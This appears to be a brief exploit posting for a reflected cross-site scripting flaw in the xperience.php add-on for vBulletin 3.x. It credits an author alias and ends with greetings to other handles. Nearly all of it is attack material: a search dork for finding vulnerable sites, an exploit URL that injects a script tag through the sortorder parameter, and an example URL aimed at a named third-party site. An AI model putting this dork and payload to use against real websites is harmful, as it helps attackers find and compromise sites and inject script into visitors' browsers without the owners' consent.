[~] Author : Mr.ThieF <~ [~] Contact : Mr.ThieF@yahoo.com <~ [~] DorK : inurl:xperience.php [~] Software Link : http://www.vbulletin.org/forum/showthread.php?t=171014 [~] Version : 3.x.x [~] Exploit : http://[site]/[path]/xperience.php?sortfield=xr&sortorder="><s cript>alert(1);</s cript> Example : http://www.worldwide-invest.org/xperience.php?sortfield=xr&sortorder="><s cript>alert(1);</s cript> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ GreeTz : RENO <3 - x-CoD3r <3 - T3rr0risT_07 <3 -Snip3r_www - ALL My FrindS <3